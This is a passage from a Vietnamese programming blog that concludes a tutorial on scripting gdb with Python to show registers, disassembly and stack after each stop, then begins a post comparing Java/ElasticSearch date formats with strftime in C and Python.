<span class="w"> </span><span class="err">0</span><span class="nf">x555555555170</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">15</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x20</span><span class="p">],</span><span class="no">rsi</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555174</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">19</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0xc</span><span class="p">],</span><span class="mi">0x5</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555517b</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">26</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x8</span><span class="p">],</span><span class="mi">0x7</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555182</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">33</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x8</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555185</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">36</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0xc</span><span class="p">]</span><span class="w"></span>
</code></pre></div>
<p>Khi binary không chứa <code>debug_info</code> (compile -g) như khi dev, không có sourcecode để gdb xem <code>n</code>ext - dòng code tiếp theo ứng với địa chỉ nào, ta phải tự đặt breakpoint tại địa chỉ rồi <code>c</code>ontinue chạy tiếp:</p>
<div class="highlight"><pre><span></span><code><span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">b</span><span class="w"> </span><span class="p">*</span><span class="mi">0x555555555182</span><span class="w"></span>
<span class="nf">Breakpoint</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="no">at</span><span class="w"> </span><span class="mi">0x555555555182</span><span class="w"></span>
<span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">c</span><span class="w"></span>
<span class="nf">Continuing.</span><span class="w"></span>
<span class="nf">Breakpoint</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">0x0000555555555182</span><span class="w"> </span><span class="no">in</span><span class="w"> </span><span class="no">main</span><span class="w"> </span><span class="p">()</span><span class="w"></span>
<span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">x</span><span class="err">/</span><span class="mi">10</span><span class="no">i</span><span class="w"> </span><span class="no">$pc</span><span class="w"></span>
<span class="err">=></span><span class="w"> </span><span class="err">0</span><span class="nf">x555555555182</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">33</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x8</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555185</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">36</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0xc</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555188</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">39</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="no">edx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555518a</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">41</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edi</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555518c</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">43</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="mh">0x555555555149</span> <span class="p"><</span><span class="no">sum</span><span class="p">></span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555191</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">48</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">],</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555194</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">51</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555197</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">54</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555199</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">56</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">rdi</span><span class="p">,[</span><span class="no">rip</span><span class="err">+</span><span class="mi">0xe64</span><span class="p">]</span><span class="w"> </span><span class="c1"># 0x555555556004</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x5555555551a0</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">63</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="mi">0x0</span><span class="w"></span>
<span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>Để in ra trước <code>$pc</code>, cần thực hiện 1 chút tính toán để tìm kiếm địa chỉ hợp lệ rồi in ra từ địa chỉ đó thay vì <code>$pc</code>, ví dụ ở đây sau khi tính được ra địa chỉ là <code>$pc-21</code>, ta có:</p>
<div class="highlight"><pre><span></span><code><span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">x</span><span class="err">/</span><span class="mi">10</span><span class="no">i</span><span class="w"> </span><span class="p">(</span><span class="no">$pc-21</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555516d</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">12</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x14</span><span class="p">],</span><span class="no">edi</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555170</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">15</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">QWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x20</span><span class="p">],</span><span class="no">rsi</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555174</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">19</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0xc</span><span class="p">],</span><span class="mi">0x5</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555517b</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">26</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x8</span><span class="p">],</span><span class="mi">0x7</span><span class="w"></span>
<span class="err">=></span><span class="w"> </span><span class="err">0</span><span class="nf">x555555555182</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">33</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x8</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555185</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">36</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0xc</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555188</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">39</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">esi</span><span class="p">,</span><span class="no">edx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555518a</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">41</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edi</span><span class="p">,</span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555518c</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">43</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">call</span><span class="w"> </span><span class="mh">0x555555555149</span> <span class="p"><</span><span class="no">sum</span><span class="p">></span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555191</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">48</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="p">[</span><span class="no">rbp-0x4</span><span class="p">],</span><span class="no">eax</span><span class="w"></span>
</code></pre></div>
<p>Ở đây, để đơn giản sẽ tạm bỏ qua tính toán và chỉ in từ <code>$pc</code> trở đi:</p>
<p>Code python để in ra phần DISASM:</p>
<div class="highlight"><pre><span></span><code> <span class="nb">print</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">run_command</span><span class="p">(</span><span class="s2">"x/10i $pc"</span><span class="p">))</span>
</code></pre></div>
<h4>gdb hiển thị stack</h4>
<p>Hiển thị stack là hiển thị giá trị của các địa chỉ từ <code>$rsp</code> (register stack pointer)
tới <code>$rbp</code> (register base pointer):</p>
<p>pwndbg:</p>
<div class="highlight"><pre><span></span><code><span class="err">00:0000│</span><span class="w"> </span><span class="nf">rsp</span><span class="w"> </span><span class="mi">0x7fffffffe358</span><span class="w"> </span><span class="err">—▸</span><span class="w"> </span><span class="mi">0x555555555191</span><span class="w"> </span><span class="p">(</span><span class="no">main</span><span class="err">+</span><span class="mi">48</span><span class="p">)</span><span class="w"> </span><span class="err">◂—</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">dword</span><span class="w"> </span><span class="no">ptr</span><span class="w"> </span><span class="p">[</span><span class="no">rbp</span><span class="w"> </span><span class="p">-</span><span class="w"> </span><span class="mi">4</span><span class="p">],</span><span class="w"> </span><span class="no">eax</span><span class="w"></span>
<span class="err">01:0008│</span><span class="w"> </span><span class="err">0</span><span class="nf">x7fffffffe360</span><span class="w"> </span><span class="err">—▸</span><span class="w"> </span><span class="mi">0x7fffffffe478</span><span class="w"> </span><span class="err">—▸</span><span class="w"> </span><span class="mi">0x7fffffffe7f5</span><span class="w"> </span><span class="err">◂—</span><span class="w"> </span><span class="err">'/</span><span class="no">home</span><span class="err">/</span><span class="no">hvn</span><span class="err">/</span><span class="no">me</span><span class="err">/</span><span class="no">news</span><span class="err">/</span><span class="no">main</span><span class="err">'</span><span class="w"></span>
<span class="err">02:0010│</span><span class="w"> </span><span class="err">0</span><span class="nf">x7fffffffe368</span><span class="w"> </span><span class="err">◂—</span><span class="w"> </span><span class="mi">0x155555060</span><span class="w"></span>
<span class="err">03:0018│</span><span class="w"> </span><span class="err">0</span><span class="nf">x7fffffffe370</span><span class="w"> </span><span class="err">◂—</span><span class="w"> </span><span class="mi">0x5ffffe470</span><span class="w"></span>
<span class="err">04:0020│</span><span class="w"> </span><span class="err">0</span><span class="nf">x7fffffffe378</span><span class="w"> </span><span class="err">◂—</span><span class="w"> </span><span class="mi">0x7</span><span class="w"></span>
<span class="err">05:0028│</span><span class="w"> </span><span class="nf">rbp</span><span class="w"> </span><span class="mi">0x7fffffffe380</span><span class="w"> </span><span class="err">◂—</span><span class="w"> </span><span class="mi">0x0</span><span class="w"></span>
<span class="err">06:0030│</span><span class="w"> </span><span class="err">0</span><span class="nf">x7fffffffe388</span><span class="w"> </span><span class="err">—▸</span><span class="w"> </span><span class="mi">0x7ffff7dd8083</span><span class="w"> </span><span class="p">(</span><span class="no">__libc_start_main</span><span class="err">+</span><span class="mi">243</span><span class="p">)</span><span class="w"> </span><span class="err">◂—</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">edi</span><span class="p">,</span><span class="w"> </span><span class="no">eax</span><span class="w"></span>
<span class="err">07:0038│</span><span class="w"> </span><span class="err">0</span><span class="nf">x7fffffffe390</span><span class="w"> </span><span class="err">—▸</span><span class="w"> </span><span class="mi">0x7ffff7ffc620</span><span class="w"> </span><span class="p">(</span><span class="no">_rtld_global_ro</span><span class="p">)</span><span class="w"> </span><span class="err">◂—</span><span class="w"> </span><span class="mi">0x50f4a00000000</span><span class="w"></span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>(gdb) print ($rbp-$rsp)
$4 = 40
</code></pre></div>
<p>Cách nhau 40 bytes, chia cho 4 được 10 "word" (1 word = 4 bytes)</p>
<div class="highlight"><pre><span></span><code>(gdb) x/10w $rsp
0x7fffffffe358: 0x55555191 0x00005555 0xffffe478 0x00007fff
0x7fffffffe368: 0x55555060 0x00000001 0xffffe470 0x00000005
0x7fffffffe378: 0x00000007 0x00000000
</code></pre></div>
<p>Code Python:</p>
<div class="highlight"><pre><span></span><code> <span class="n">word_to_print</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">run_command</span><span class="p">(</span><span class="s2">"print ($rbp -$rsp)/4"</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">()[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="nb">print</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">run_command</span><span class="p">(</span><span class="sa">f</span><span class="s2">"x/</span><span class="si">{</span><span class="n">word_to_print</span><span class="si">}</span><span class="s2">w $rsp"</span><span class="p">))</span>
</code></pre></div>
<h3>Hiện context sau mỗi câu lệnh gdb</h3>
<p>GDB có "hook" để tự chạy mỗi câu lệnh trước/sau một hành động.
<code>hook-stop</code> sẽ chạy trước mỗi câu lẹnh.</p>
<p>Thêm code Python:</p>
<div class="highlight"><pre><span></span><code><span class="n">gdb</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="s2">"""define hook-stop</span>
<span class="s2">context</span>
<span class="s2">end"""</span><span class="p">)</span>
</code></pre></div>
<h3>Kết quả</h3>
<div class="highlight"><pre><span></span><code><span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">b</span><span class="w"> </span><span class="p">*</span><span class="mi">0x555555555182</span><span class="w"></span>
<span class="nf">Breakpoint</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="no">at</span><span class="w"> </span><span class="mi">0x555555555182</span><span class="w"></span>
<span class="err">(</span><span class="nf">gdb</span><span class="p">)</span><span class="w"> </span><span class="no">c</span><span class="w"></span>
<span class="nf">Continuing.</span><span class="w"></span>
<span class="nf">rax</span><span class="w"> </span><span class="mh">0x555555555161</span> <span class="p"><</span><span class="no">main</span><span class="p">>:</span><span class="w"> </span><span class="no">endbr64</span><span class="w"></span>
<span class="nf">rbx</span><span class="w"> </span><span class="mh">0x5555555551c0</span> <span class="p"><</span><span class="no">__libc_csu_init</span><span class="p">>:</span><span class="w"> </span><span class="no">endbr64</span><span class="w"></span>
<span class="nf">rcx</span><span class="w"> </span><span class="mh">0x5555555551c0</span> <span class="p"><</span><span class="no">__libc_csu_init</span><span class="p">>:</span><span class="w"> </span><span class="no">endbr64</span><span class="w"></span>
<span class="nf">rdx</span><span class="w"> </span><span class="mi">0x7fffffffe548</span><span class="w"> </span><span class="mi">140737488348488</span><span class="w"></span>
<span class="nf">rsi</span><span class="w"> </span><span class="mi">0x7fffffffe538</span><span class="w"> </span><span class="mi">140737488348472</span><span class="w"></span>
<span class="nf">rdi</span><span class="w"> </span><span class="mi">0x1</span><span class="w"> </span><span class="mi">1</span><span class="w"></span>
<span class="nf">rbp</span><span class="w"> </span><span class="mi">0x7fffffffe440</span><span class="w"> </span><span class="mi">0x7fffffffe440</span><span class="w"></span>
<span class="nf">rsp</span><span class="w"> </span><span class="mi">0x7fffffffe420</span><span class="w"> </span><span class="mi">0x7fffffffe420</span><span class="w"></span>
<span class="nf">r8</span><span class="w"> </span><span class="mi">0x0</span><span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="nf">r9</span><span class="w"> </span><span class="mh">0x7ffff7fe0d60</span> <span class="p"><</span><span class="no">_dl_fini</span><span class="p">>:</span><span class="w"> </span><span class="no">endbr64</span><span class="w"></span>
<span class="nf">r10</span><span class="w"> </span><span class="mi">0x7</span><span class="w"> </span><span class="mi">7</span><span class="w"></span>
<span class="nf">r11</span><span class="w"> </span><span class="mi">0x2</span><span class="w"> </span><span class="mi">2</span><span class="w"></span>
<span class="nf">r12</span><span class="w"> </span><span class="mh">0x555555555060</span> <span class="p"><</span><span class="no">_start</span><span class="p">>:</span><span class="w"> </span><span class="no">endbr64</span><span class="w"></span>
<span class="nf">r13</span><span class="w"> </span><span class="mi">0x7fffffffe530</span><span class="w"> </span><span class="mi">140737488348464</span><span class="w"></span>
<span class="nf">r14</span><span class="w"> </span><span class="mi">0x0</span><span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="nf">r15</span><span class="w"> </span><span class="mi">0x0</span><span class="w"> </span><span class="mi">0</span><span class="w"></span>
<span class="nf">rip</span><span class="w"> </span><span class="mh">0x555555555182</span> <span class="p"><</span><span class="no">main</span><span class="p">+</span><span class="mi">33</span><span class="p">>:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="mi">-0</span><span class="no">x8</span><span class="p">(</span><span class="nv">%rbp</span><span class="p">),</span><span class="nv">%edx</span><span class="w"></span>
<span class="err">====================</span><span class="nf">DISASM</span><span class="err">====================</span><span class="w"></span>
<span class="err">=></span><span class="w"> </span><span class="err">0</span><span class="nf">x555555555182</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">33</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="mi">-0</span><span class="no">x8</span><span class="p">(</span><span class="nv">%rbp</span><span class="p">),</span><span class="nv">%edx</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555185</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">36</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="mi">-0</span><span class="no">xc</span><span class="p">(</span><span class="nv">%rbp</span><span class="p">),</span><span class="nv">%eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555188</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">39</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="nv">%edx</span><span class="p">,</span><span class="nv">%esi</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555518a</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">41</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="nv">%eax</span><span class="p">,</span><span class="nv">%edi</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x55555555518c</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">43</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">callq</span><span class="w"> </span><span class="mh">0x555555555149</span> <span class="p"><</span><span class="no">sum</span><span class="p">></span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555191</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">48</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="nv">%eax</span><span class="p">,-</span><span class="mi">0x4</span><span class="p">(</span><span class="nv">%rbp</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555194</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">51</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="mi">-0</span><span class="no">x4</span><span class="p">(</span><span class="nv">%rbp</span><span class="p">),</span><span class="nv">%eax</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555197</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">54</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="nv">%eax</span><span class="p">,</span><span class="nv">%esi</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x555555555199</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">56</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="mi">0xe64</span><span class="p">(</span><span class="nv">%rip</span><span class="p">),</span><span class="nv">%rdi</span><span class="w"> </span><span class="c1"># 0x555555556004</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x5555555551a0</span><span class="w"> </span><span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">63</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">$0x0</span><span class="p">,</span><span class="nv">%eax</span><span class="w"></span>
<span class="err">====================</span><span class="nf">STACK</span><span class="err">====================</span><span class="w"></span>
<span class="err">0</span><span class="nl">x7fffffffe420:</span><span class="w"> </span><span class="err">0</span><span class="nf">xffffe538</span><span class="w"> </span><span class="mi">0x00007fff</span><span class="w"> </span><span class="mi">0x55555060</span><span class="w"> </span><span class="mi">0x00000001</span><span class="w"></span>
<span class="err">0</span><span class="nl">x7fffffffe430:</span><span class="w"> </span><span class="err">0</span><span class="nf">xffffe530</span><span class="w"> </span><span class="mi">0x00000005</span><span class="w"> </span><span class="mi">0x00000007</span><span class="w"> </span><span class="mi">0x00000000</span><span class="w"></span>
</code></pre></div>
<p>Tô màu mè, format đẹp lại là có một phiên bản gdb do chính tay bạn làm ra.</p>
<p>Code at <a href="https://github.com/hvnsweeting/hgdb/blob/v0.1/hgdb.py">https://github.com/hvnsweeting/hgdb/blob/v0.1/hgdb.py</a></p>
<h3>Kết luận</h3>
<p>Python được dùng phổ biến để mở rộng tính năng cho các phần mềm khác (<a href="https://docs.blender.org/api/current/info_overview.html">blender</a>, <a href="https://manual.calibre-ebook.com/creating_plugins.html">calibre</a>, ...)</p>
<p>Với sự có mặt của Python (và Guile), gdb đã cho phép mình tự biến hóa thành những sản phẩm đầy tiện lợi sang xịn mịn nhờ cồng đồng.</p>
<p>Và bạn cũng có thể tự làm agdb bgdb ... hgdb hay ... zgdb cho chính mình.</p>
<p>Hết.</p>
<p>HVN at <a href="https://pymi.vn">https://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>ElasticSearch/Java format thời gian không giống Python2023-01-04T00:00:00+07:002023-01-04T00:00:00+07:00hvntag:familug.github.io,2023-01-04:/elasticsearchjava-format-thoi-gian-khong-giong-python.html<p>Hầu hết các ngôn ngữ lập trình đều có sẵn thư viện để format thời gian, vì dù cho mỗi người một nghề - người làm web, sysadmin, kẻ làm data, scientist nhưng đâu ai thoát khỏi được thời gian?</p>
<p>Cứ tưởng các ngôn ngữ lập trình format sẽ giống nhau …</p><p>Hầu hết các ngôn ngữ lập trình đều có sẵn thư viện để format thời gian, vì dù cho mỗi người một nghề - người làm web, sysadmin, kẻ làm data, scientist nhưng đâu ai thoát khỏi được thời gian?</p>
<p>Cứ tưởng các ngôn ngữ lập trình format sẽ giống nhau, học 1 lần là dùng được mãi, ai ngờ!</p>
<p><img alt="time" src="https://images.unsplash.com/photo-1501139083538-0139583c060f?ixlib=rb-4.0.3&dl=aron-visuals-BXOXnQ26B7o-unsplash.jpg&w=640&q=80&fm=jpg&crop=entropy&cs=tinysrgb">
Photo by <a href="https://unsplash.com/@aronvisuals?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Aron Visuals</a> on <a href="https://unsplash.com/photos/BXOXnQ26B7o?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>
<h3>Linux date, C, C++</h3>
<p>Lấy làm mốc chuẩn, chương trình <code>date</code> trên UNIX/Linux dùng Ymd HMS cho ngày tháng năm giờ phút giây</p>
<div class="highlight"><pre><span></span><code>$ date +<span class="s2">"%Y/%m/%d %H:%M:%S"</span>
<span class="m">2023</span>/01/04 <span class="m">20</span>:16:48
$ date --version
date <span class="o">(</span>GNU coreutils<span class="o">)</span> <span class="m">8</span>.30
Copyright <span class="o">(</span>C<span class="o">)</span> <span class="m">2018</span> Free Software Foundation, Inc.
License GPLv3+: GNU GPL version <span class="m">3</span> or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by David MacKenzie.
</code></pre></div>
<p>Có vẻ như bắt nguồn từ function <code>strftime</code> trong <code>time.h</code> của C <a href="https://en.cppreference.com/w/c/chrono/strftime">https://en.cppreference.com/w/c/chrono/strftime</a>, dễ hiểu C++ và Python cũng kế thừa và phát huy từ đó. Xem ví dụ tại <a href="https://strftime.org/">https://strftime.org/</a></p>
<div class="highlight"><pre><span></span><code><span class="o">>>></span> <span class="kn">import</span> <span class="nn">datetime</span>
<span class="o">>>></span> <span class="n">datetime</span><span class="o">.</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">"%Y/%m/</span><span class="si">%d</span><span class="s2"> %H:%M:%S"</span><span class="p">)</span>
<span class="s1">'2023/01/04 20:27:21'</span>
</code></pre></div>
<h3>Java format time</h3>
<p>Java (và thế nên <a href="https://www.elastic.co/guide/en/elasticsearch/reference/8.5/mapping-date-format.html#built-in-date-formats">ElasticSearch</a> - 1 chương trình viết bằng Java), sử dụng format khác. Ở đây sẽ dùng <code>lein repl</code> để chạy code Clojure, gọi thư viện Java cho tiện (cài lein: sudo apt install leiningen).</p>
<div class="highlight"><pre><span></span><code><span class="nv">$</span><span class="w"> </span><span class="nv">lein</span><span class="w"> </span><span class="nv">repl</span><span class="w"> </span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"></span>
